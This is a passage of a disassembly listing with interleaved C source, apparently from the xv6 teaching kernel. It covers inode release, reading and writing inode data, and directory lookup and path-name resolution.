801017b6: 83 ec 1c sub $0x1c,%esp
801017b9: 8b 75 08 mov 0x8(%ebp),%esi
acquiresleep(&ip->lock);
801017bc: 8d 7e 0c lea 0xc(%esi),%edi
801017bf: 89 3c 24 mov %edi,(%esp)
801017c2: e8 99 27 00 00 call 80103f60 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801017c7: 8b 56 4c mov 0x4c(%esi),%edx
801017ca: 85 d2 test %edx,%edx
801017cc: 74 07 je 801017d5 <iput+0x25>
801017ce: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
801017d3: 74 2b je 80101800 <iput+0x50>
releasesleep(&ip->lock);
801017d5: 89 3c 24 mov %edi,(%esp)
801017d8: e8 e3 27 00 00 call 80103fc0 <releasesleep>
acquire(&icache.lock);
801017dd: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801017e4: e8 37 29 00 00 call 80104120 <acquire>
ip->ref--;
801017e9: 83 6e 08 01 subl $0x1,0x8(%esi)
release(&icache.lock);
801017ed: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp)
}
801017f4: 83 c4 1c add $0x1c,%esp
801017f7: 5b pop %ebx
801017f8: 5e pop %esi
801017f9: 5f pop %edi
801017fa: 5d pop %ebp
release(&icache.lock);
801017fb: e9 10 2a 00 00 jmp 80104210 <release>
acquire(&icache.lock);
80101800: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101807: e8 14 29 00 00 call 80104120 <acquire>
int r = ip->ref;
8010180c: 8b 5e 08 mov 0x8(%esi),%ebx
release(&icache.lock);
8010180f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101816: e8 f5 29 00 00 call 80104210 <release>
if(r == 1){
8010181b: 83 fb 01 cmp $0x1,%ebx
8010181e: 75 b5 jne 801017d5 <iput+0x25>
80101820: 8d 4e 30 lea 0x30(%esi),%ecx
80101823: 89 f3 mov %esi,%ebx
80101825: 89 7d e4 mov %edi,-0x1c(%ebp)
80101828: 89 cf mov %ecx,%edi
8010182a: eb 0b jmp 80101837 <iput+0x87>
8010182c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101830: 83 c3 04 add $0x4,%ebx
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101833: 39 fb cmp %edi,%ebx
80101835: 74 19 je 80101850 <iput+0xa0>
if(ip->addrs[i]){
80101837: 8b 53 5c mov 0x5c(%ebx),%edx
8010183a: 85 d2 test %edx,%edx
8010183c: 74 f2 je 80101830 <iput+0x80>
bfree(ip->dev, ip->addrs[i]);
8010183e: 8b 06 mov (%esi),%eax
80101840: e8 7b fb ff ff call 801013c0 <bfree>
ip->addrs[i] = 0;
80101845: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx)
8010184c: eb e2 jmp 80101830 <iput+0x80>
8010184e: 66 90 xchg %ax,%ax
}
}
if(ip->addrs[NDIRECT]){
80101850: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101856: 8b 7d e4 mov -0x1c(%ebp),%edi
80101859: 85 c0 test %eax,%eax
8010185b: 75 2b jne 80101888 <iput+0xd8>
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
8010185d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101864: 89 34 24 mov %esi,(%esp)
80101867: e8 64 fd ff ff call 801015d0 <iupdate>
ip->type = 0;
8010186c: 31 c0 xor %eax,%eax
8010186e: 66 89 46 50 mov %ax,0x50(%esi)
iupdate(ip);
80101872: 89 34 24 mov %esi,(%esp)
80101875: e8 56 fd ff ff call 801015d0 <iupdate>
ip->valid = 0;
8010187a: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
80101881: e9 4f ff ff ff jmp 801017d5 <iput+0x25>
80101886: 66 90 xchg %ax,%ax
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101888: 89 44 24 04 mov %eax,0x4(%esp)
8010188c: 8b 06 mov (%esi),%eax
for(j = 0; j < NINDIRECT; j++){
8010188e: 31 db xor %ebx,%ebx
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101890: 89 04 24 mov %eax,(%esp)
80101893: e8 38 e8 ff ff call 801000d0 <bread>
for(j = 0; j < NINDIRECT; j++){
80101898: 89 7d e0 mov %edi,-0x20(%ebp)
a = (uint*)bp->data;
8010189b: 8d 48 5c lea 0x5c(%eax),%ecx
bp = bread(ip->dev, ip->addrs[NDIRECT]);
8010189e: 89 45 e4 mov %eax,-0x1c(%ebp)
for(j = 0; j < NINDIRECT; j++){
801018a1: 89 cf mov %ecx,%edi
801018a3: 31 c0 xor %eax,%eax
801018a5: eb 0e jmp 801018b5 <iput+0x105>
801018a7: 90 nop
801018a8: 83 c3 01 add $0x1,%ebx
801018ab: 81 fb 80 00 00 00 cmp $0x80,%ebx
801018b1: 89 d8 mov %ebx,%eax
801018b3: 74 10 je 801018c5 <iput+0x115>
if(a[j])
801018b5: 8b 14 87 mov (%edi,%eax,4),%edx
801018b8: 85 d2 test %edx,%edx
801018ba: 74 ec je 801018a8 <iput+0xf8>
bfree(ip->dev, a[j]);
801018bc: 8b 06 mov (%esi),%eax
801018be: e8 fd fa ff ff call 801013c0 <bfree>
801018c3: eb e3 jmp 801018a8 <iput+0xf8>
brelse(bp);
801018c5: 8b 45 e4 mov -0x1c(%ebp),%eax
801018c8: 8b 7d e0 mov -0x20(%ebp),%edi
801018cb: 89 04 24 mov %eax,(%esp)
801018ce: e8 0d e9 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018d3: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
801018d9: 8b 06 mov (%esi),%eax
801018db: e8 e0 fa ff ff call 801013c0 <bfree>
ip->addrs[NDIRECT] = 0;
801018e0: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
801018e7: 00 00 00
801018ea: e9 6e ff ff ff jmp 8010185d <iput+0xad>
801018ef: 90 nop
801018f0 <iunlockput>:
{
801018f0: 55 push %ebp
801018f1: 89 e5 mov %esp,%ebp
801018f3: 53 push %ebx
801018f4: 83 ec 14 sub $0x14,%esp
801018f7: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
801018fa: 89 1c 24 mov %ebx,(%esp)
801018fd: e8 6e fe ff ff call 80101770 <iunlock>
iput(ip);
80101902: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101905: 83 c4 14 add $0x14,%esp
80101908: 5b pop %ebx
80101909: 5d pop %ebp
iput(ip);
8010190a: e9 a1 fe ff ff jmp 801017b0 <iput>
8010190f: 90 nop
80101910 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101910: 55 push %ebp
80101911: 89 e5 mov %esp,%ebp
80101913: 8b 55 08 mov 0x8(%ebp),%edx
80101916: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101919: 8b 0a mov (%edx),%ecx
8010191b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010191e: 8b 4a 04 mov 0x4(%edx),%ecx
80101921: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101924: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101928: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010192b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010192f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101933: 8b 52 58 mov 0x58(%edx),%edx
80101936: 89 50 10 mov %edx,0x10(%eax)
}
80101939: 5d pop %ebp
8010193a: c3 ret
8010193b: 90 nop
8010193c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101940 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101940: 55 push %ebp
80101941: 89 e5 mov %esp,%ebp
80101943: 57 push %edi
80101944: 56 push %esi
80101945: 53 push %ebx
80101946: 83 ec 2c sub $0x2c,%esp
80101949: 8b 45 0c mov 0xc(%ebp),%eax
8010194c: 8b 7d 08 mov 0x8(%ebp),%edi
8010194f: 8b 75 10 mov 0x10(%ebp),%esi
80101952: 89 45 e0 mov %eax,-0x20(%ebp)
80101955: 8b 45 14 mov 0x14(%ebp),%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101958: 66 83 7f 50 03 cmpw $0x3,0x50(%edi)
{
8010195d: 89 45 e4 mov %eax,-0x1c(%ebp)
if(ip->type == T_DEV){
80101960: 0f 84 aa 00 00 00 je 80101a10 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101966: 8b 47 58 mov 0x58(%edi),%eax
80101969: 39 f0 cmp %esi,%eax
8010196b: 0f 82 c7 00 00 00 jb 80101a38 <readi+0xf8>
80101971: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101974: 89 da mov %ebx,%edx
80101976: 01 f2 add %esi,%edx
80101978: 0f 82 ba 00 00 00 jb 80101a38 <readi+0xf8>
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010197e: 89 c1 mov %eax,%ecx
80101980: 29 f1 sub %esi,%ecx
80101982: 39 d0 cmp %edx,%eax
80101984: 0f 43 cb cmovae %ebx,%ecx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101987: 31 c0 xor %eax,%eax
80101989: 85 c9 test %ecx,%ecx
n = ip->size - off;
8010198b: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010198e: 74 70 je 80101a00 <readi+0xc0>
80101990: 89 7d d8 mov %edi,-0x28(%ebp)
80101993: 89 c7 mov %eax,%edi
80101995: 8d 76 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101998: 8b 5d d8 mov -0x28(%ebp),%ebx
8010199b: 89 f2 mov %esi,%edx
8010199d: c1 ea 09 shr $0x9,%edx
801019a0: 89 d8 mov %ebx,%eax
801019a2: e8 09 f9 ff ff call 801012b0 <bmap>
801019a7: 89 44 24 04 mov %eax,0x4(%esp)
801019ab: 8b 03 mov (%ebx),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019ad: bb 00 02 00 00 mov $0x200,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019b2: 89 04 24 mov %eax,(%esp)
801019b5: e8 16 e7 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019ba: 8b 4d e4 mov -0x1c(%ebp),%ecx
801019bd: 29 f9 sub %edi,%ecx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019bf: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019c1: 89 f0 mov %esi,%eax
801019c3: 25 ff 01 00 00 and $0x1ff,%eax
801019c8: 29 c3 sub %eax,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019ca: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019ce: 39 cb cmp %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019d0: 89 44 24 04 mov %eax,0x4(%esp)
801019d4: 8b 45 e0 mov -0x20(%ebp),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019d7: 0f 47 d9 cmova %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019da: 89 5c 24 08 mov %ebx,0x8(%esp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019de: 01 df add %ebx,%edi
801019e0: 01 de add %ebx,%esi
memmove(dst, bp->data + off%BSIZE, m);
801019e2: 89 55 dc mov %edx,-0x24(%ebp)
801019e5: 89 04 24 mov %eax,(%esp)
801019e8: e8 13 29 00 00 call 80104300 <memmove>
brelse(bp);
801019ed: 8b 55 dc mov -0x24(%ebp),%edx
801019f0: 89 14 24 mov %edx,(%esp)
801019f3: e8 e8 e7 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019f8: 01 5d e0 add %ebx,-0x20(%ebp)
801019fb: 39 7d e4 cmp %edi,-0x1c(%ebp)
801019fe: 77 98 ja 80101998 <readi+0x58>
}
return n;
80101a00: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a03: 83 c4 2c add $0x2c,%esp
80101a06: 5b pop %ebx
80101a07: 5e pop %esi
80101a08: 5f pop %edi
80101a09: 5d pop %ebp
80101a0a: c3 ret
80101a0b: 90 nop
80101a0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a10: 0f bf 47 52 movswl 0x52(%edi),%eax
80101a14: 66 83 f8 09 cmp $0x9,%ax
80101a18: 77 1e ja 80101a38 <readi+0xf8>
80101a1a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax
80101a21: 85 c0 test %eax,%eax
80101a23: 74 13 je 80101a38 <readi+0xf8>
return devsw[ip->major].read(ip, dst, n);
80101a25: 8b 75 e4 mov -0x1c(%ebp),%esi
80101a28: 89 75 10 mov %esi,0x10(%ebp)
}
80101a2b: 83 c4 2c add $0x2c,%esp
80101a2e: 5b pop %ebx
80101a2f: 5e pop %esi
80101a30: 5f pop %edi
80101a31: 5d pop %ebp
return devsw[ip->major].read(ip, dst, n);
80101a32: ff e0 jmp *%eax
80101a34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80101a38: b8 ff ff ff ff mov $0xffffffff,%eax
80101a3d: eb c4 jmp 80101a03 <readi+0xc3>
80101a3f: 90 nop
80101a40 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a40: 55 push %ebp
80101a41: 89 e5 mov %esp,%ebp
80101a43: 57 push %edi
80101a44: 56 push %esi
80101a45: 53 push %ebx
80101a46: 83 ec 2c sub $0x2c,%esp
80101a49: 8b 45 08 mov 0x8(%ebp),%eax
80101a4c: 8b 75 0c mov 0xc(%ebp),%esi
80101a4f: 8b 4d 14 mov 0x14(%ebp),%ecx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a52: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101a57: 89 75 dc mov %esi,-0x24(%ebp)
80101a5a: 8b 75 10 mov 0x10(%ebp),%esi
80101a5d: 89 45 d8 mov %eax,-0x28(%ebp)
80101a60: 89 4d e0 mov %ecx,-0x20(%ebp)
if(ip->type == T_DEV){
80101a63: 0f 84 b7 00 00 00 je 80101b20 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a69: 8b 45 d8 mov -0x28(%ebp),%eax
80101a6c: 39 70 58 cmp %esi,0x58(%eax)
80101a6f: 0f 82 e3 00 00 00 jb 80101b58 <writei+0x118>
80101a75: 8b 4d e0 mov -0x20(%ebp),%ecx
80101a78: 89 c8 mov %ecx,%eax
80101a7a: 01 f0 add %esi,%eax
80101a7c: 0f 82 d6 00 00 00 jb 80101b58 <writei+0x118>
return -1;
if(off + n > MAXFILE*BSIZE)
80101a82: 3d 00 18 01 00 cmp $0x11800,%eax
80101a87: 0f 87 cb 00 00 00 ja 80101b58 <writei+0x118>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101a8d: 85 c9 test %ecx,%ecx
80101a8f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101a96: 74 77 je 80101b0f <writei+0xcf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101a98: 8b 7d d8 mov -0x28(%ebp),%edi
80101a9b: 89 f2 mov %esi,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101a9d: bb 00 02 00 00 mov $0x200,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aa2: c1 ea 09 shr $0x9,%edx
80101aa5: 89 f8 mov %edi,%eax
80101aa7: e8 04 f8 ff ff call 801012b0 <bmap>
80101aac: 89 44 24 04 mov %eax,0x4(%esp)
80101ab0: 8b 07 mov (%edi),%eax
80101ab2: 89 04 24 mov %eax,(%esp)
80101ab5: e8 16 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101aba: 8b 4d e0 mov -0x20(%ebp),%ecx
80101abd: 2b 4d e4 sub -0x1c(%ebp),%ecx
memmove(bp->data + off%BSIZE, src, m);
80101ac0: 8b 55 dc mov -0x24(%ebp),%edx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ac3: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ac5: 89 f0 mov %esi,%eax
80101ac7: 25 ff 01 00 00 and $0x1ff,%eax
80101acc: 29 c3 sub %eax,%ebx
80101ace: 39 cb cmp %ecx,%ebx
80101ad0: 0f 47 d9 cmova %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101ad3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ad7: 01 de add %ebx,%esi
memmove(bp->data + off%BSIZE, src, m);
80101ad9: 89 54 24 04 mov %edx,0x4(%esp)
80101add: 89 5c 24 08 mov %ebx,0x8(%esp)
80101ae1: 89 04 24 mov %eax,(%esp)
80101ae4: e8 17 28 00 00 call 80104300 <memmove>
log_write(bp);
80101ae9: 89 3c 24 mov %edi,(%esp)
80101aec: e8 9f 11 00 00 call 80102c90 <log_write>
brelse(bp);
80101af1: 89 3c 24 mov %edi,(%esp)
80101af4: e8 e7 e6 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101af9: 01 5d e4 add %ebx,-0x1c(%ebp)
80101afc: 8b 45 e4 mov -0x1c(%ebp),%eax
80101aff: 01 5d dc add %ebx,-0x24(%ebp)
80101b02: 39 45 e0 cmp %eax,-0x20(%ebp)
80101b05: 77 91 ja 80101a98 <writei+0x58>
}
if(n > 0 && off > ip->size){
80101b07: 8b 45 d8 mov -0x28(%ebp),%eax
80101b0a: 39 70 58 cmp %esi,0x58(%eax)
80101b0d: 72 39 jb 80101b48 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101b0f: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b12: 83 c4 2c add $0x2c,%esp
80101b15: 5b pop %ebx
80101b16: 5e pop %esi
80101b17: 5f pop %edi
80101b18: 5d pop %ebp
80101b19: c3 ret
80101b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101b20: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b24: 66 83 f8 09 cmp $0x9,%ax
80101b28: 77 2e ja 80101b58 <writei+0x118>
80101b2a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax
80101b31: 85 c0 test %eax,%eax
80101b33: 74 23 je 80101b58 <writei+0x118>
return devsw[ip->major].write(ip, src, n);
80101b35: 89 4d 10 mov %ecx,0x10(%ebp)
}
80101b38: 83 c4 2c add $0x2c,%esp
80101b3b: 5b pop %ebx
80101b3c: 5e pop %esi
80101b3d: 5f pop %edi
80101b3e: 5d pop %ebp
return devsw[ip->major].write(ip, src, n);
80101b3f: ff e0 jmp *%eax
80101b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ip->size = off;
80101b48: 8b 45 d8 mov -0x28(%ebp),%eax
80101b4b: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b4e: 89 04 24 mov %eax,(%esp)
80101b51: e8 7a fa ff ff call 801015d0 <iupdate>
80101b56: eb b7 jmp 80101b0f <writei+0xcf>
}
80101b58: 83 c4 2c add $0x2c,%esp
return -1;
80101b5b: b8 ff ff ff ff mov $0xffffffff,%eax
}
80101b60: 5b pop %ebx
80101b61: 5e pop %esi
80101b62: 5f pop %edi
80101b63: 5d pop %ebp
80101b64: c3 ret
80101b65: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b70 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b70: 55 push %ebp
80101b71: 89 e5 mov %esp,%ebp
80101b73: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80101b76: 8b 45 0c mov 0xc(%ebp),%eax
80101b79: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101b80: 00
80101b81: 89 44 24 04 mov %eax,0x4(%esp)
80101b85: 8b 45 08 mov 0x8(%ebp),%eax
80101b88: 89 04 24 mov %eax,(%esp)
80101b8b: e8 f0 27 00 00 call 80104380 <strncmp>
}
80101b90: c9 leave
80101b91: c3 ret
80101b92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ba0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101ba0: 55 push %ebp
80101ba1: 89 e5 mov %esp,%ebp
80101ba3: 57 push %edi
80101ba4: 56 push %esi
80101ba5: 53 push %ebx
80101ba6: 83 ec 2c sub $0x2c,%esp
80101ba9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101bac: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101bb1: 0f 85 97 00 00 00 jne 80101c4e <dirlookup+0xae>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101bb7: 8b 53 58 mov 0x58(%ebx),%edx
80101bba: 31 ff xor %edi,%edi
80101bbc: 8d 75 d8 lea -0x28(%ebp),%esi
80101bbf: 85 d2 test %edx,%edx
80101bc1: 75 0d jne 80101bd0 <dirlookup+0x30>
80101bc3: eb 73 jmp 80101c38 <dirlookup+0x98>
80101bc5: 8d 76 00 lea 0x0(%esi),%esi
80101bc8: 83 c7 10 add $0x10,%edi
80101bcb: 39 7b 58 cmp %edi,0x58(%ebx)
80101bce: 76 68 jbe 80101c38 <dirlookup+0x98>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101bd0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101bd7: 00
80101bd8: 89 7c 24 08 mov %edi,0x8(%esp)
80101bdc: 89 74 24 04 mov %esi,0x4(%esp)
80101be0: 89 1c 24 mov %ebx,(%esp)
80101be3: e8 58 fd ff ff call 80101940 <readi>
80101be8: 83 f8 10 cmp $0x10,%eax
80101beb: 75 55 jne 80101c42 <dirlookup+0xa2>
panic("dirlookup read");
if(de.inum == 0)
80101bed: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101bf2: 74 d4 je 80101bc8 <dirlookup+0x28>
return strncmp(s, t, DIRSIZ);
80101bf4: 8d 45 da lea -0x26(%ebp),%eax
80101bf7: 89 44 24 04 mov %eax,0x4(%esp)
80101bfb: 8b 45 0c mov 0xc(%ebp),%eax
80101bfe: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101c05: 00
80101c06: 89 04 24 mov %eax,(%esp)
80101c09: e8 72 27 00 00 call 80104380 <strncmp>
continue;
if(namecmp(name, de.name) == 0){
80101c0e: 85 c0 test %eax,%eax
80101c10: 75 b6 jne 80101bc8 <dirlookup+0x28>
// entry matches path element
if(poff)
80101c12: 8b 45 10 mov 0x10(%ebp),%eax
80101c15: 85 c0 test %eax,%eax
80101c17: 74 05 je 80101c1e <dirlookup+0x7e>
*poff = off;
80101c19: 8b 45 10 mov 0x10(%ebp),%eax
80101c1c: 89 38 mov %edi,(%eax)
inum = de.inum;
80101c1e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101c22: 8b 03 mov (%ebx),%eax
80101c24: e8 c7 f5 ff ff call 801011f0 <iget>
}
}
return 0;
}
80101c29: 83 c4 2c add $0x2c,%esp
80101c2c: 5b pop %ebx
80101c2d: 5e pop %esi
80101c2e: 5f pop %edi
80101c2f: 5d pop %ebp
80101c30: c3 ret
80101c31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c38: 83 c4 2c add $0x2c,%esp
return 0;
80101c3b: 31 c0 xor %eax,%eax
}
80101c3d: 5b pop %ebx
80101c3e: 5e pop %esi
80101c3f: 5f pop %edi
80101c40: 5d pop %ebp
80101c41: c3 ret
panic("dirlookup read");
80101c42: c7 04 24 59 6f 10 80 movl $0x80106f59,(%esp)
80101c49: e8 12 e7 ff ff call 80100360 <panic>
panic("dirlookup not DIR");
80101c4e: c7 04 24 47 6f 10 80 movl $0x80106f47,(%esp)
80101c55: e8 06 e7 ff ff call 80100360 <panic>
80101c5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101c60 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c60: 55 push %ebp
80101c61: 89 e5 mov %esp,%ebp
80101c63: 57 push %edi
80101c64: 89 cf mov %ecx,%edi
80101c66: 56 push %esi
80101c67: 53 push %ebx
80101c68: 89 c3 mov %eax,%ebx
80101c6a: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c6d: 80 38 2f cmpb $0x2f,(%eax)
{
80101c70: 89 55 e0 mov %edx,-0x20(%ebp)
if(*path == '/')
80101c73: 0f 84 51 01 00 00 je 80101dca <namex+0x16a>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101c79: e8 02 1a 00 00 call 80103680 <myproc>
80101c7e: 8b 70 68 mov 0x68(%eax),%esi
acquire(&icache.lock);
80101c81: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101c88: e8 93 24 00 00 call 80104120 <acquire>
ip->ref++;
80101c8d: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101c91: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101c98: e8 73 25 00 00 call 80104210 <release>
80101c9d: eb 04 jmp 80101ca3 <namex+0x43>
80101c9f: 90 nop
path++;
80101ca0: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101ca3: 0f b6 03 movzbl (%ebx),%eax
80101ca6: 3c 2f cmp $0x2f,%al
80101ca8: 74 f6 je 80101ca0 <namex+0x40>
if(*path == 0)
80101caa: 84 c0 test %al,%al
80101cac: 0f 84 ed 00 00 00 je 80101d9f <namex+0x13f>
while(*path != '/' && *path != 0)
80101cb2: 0f b6 03 movzbl (%ebx),%eax
80101cb5: 89 da mov %ebx,%edx
80101cb7: 84 c0 test %al,%al
80101cb9: 0f 84 b1 00 00 00 je 80101d70 <namex+0x110>
80101cbf: 3c 2f cmp $0x2f,%al
80101cc1: 75 0f jne 80101cd2 <namex+0x72>
80101cc3: e9 a8 00 00 00 jmp 80101d70 <namex+0x110>
80101cc8: 3c 2f cmp $0x2f,%al
80101cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101cd0: 74 0a je 80101cdc <namex+0x7c>
path++;
80101cd2: 83 c2 01 add $0x1,%edx
while(*path != '/' && *path != 0)
80101cd5: 0f b6 02 movzbl (%edx),%eax
80101cd8: 84 c0 test %al,%al
80101cda: 75 ec jne 80101cc8 <namex+0x68>
80101cdc: 89 d1 mov %edx,%ecx
80101cde: 29 d9 sub %ebx,%ecx
if(len >= DIRSIZ)
80101ce0: 83 f9 0d cmp $0xd,%ecx
80101ce3: 0f 8e 8f 00 00 00 jle 80101d78 <namex+0x118>
memmove(name, s, DIRSIZ);
80101ce9: 89 5c 24 04 mov %ebx,0x4(%esp)
80101ced: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101cf4: 00
80101cf5: 89 3c 24 mov %edi,(%esp)
80101cf8: 89 55 e4 mov %edx,-0x1c(%ebp)
80101cfb: e8 00 26 00 00 call 80104300 <memmove>
path++;
80101d00: 8b 55 e4 mov -0x1c(%ebp),%edx
80101d03: 89 d3 mov %edx,%ebx
while(*path == '/')
80101d05: 80 3a 2f cmpb $0x2f,(%edx)
80101d08: 75 0e jne 80101d18 <namex+0xb8>
80101d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
80101d10: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101d13: 80 3b 2f cmpb $0x2f,(%ebx)
80101d16: 74 f8 je 80101d10 <namex+0xb0>
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101d18: 89 34 24 mov %esi,(%esp)
80101d1b: e8 70 f9 ff ff call 80101690 <ilock>
if(ip->type != T_DIR){
80101d20: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d25: 0f 85 85 00 00 00 jne 80101db0 <namex+0x150>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d2b: 8b 55 e0 mov -0x20(%ebp),%edx
80101d2e: 85 d2 test %edx,%edx
80101d30: 74 09 je 80101d3b <namex+0xdb>
80101d32: 80 3b 00 cmpb $0x0,(%ebx)
80101d35: 0f 84 a5 00 00 00 je 80101de0 <namex+0x180>
// Stop one level early.
iunlock(ip);
return ip;
}
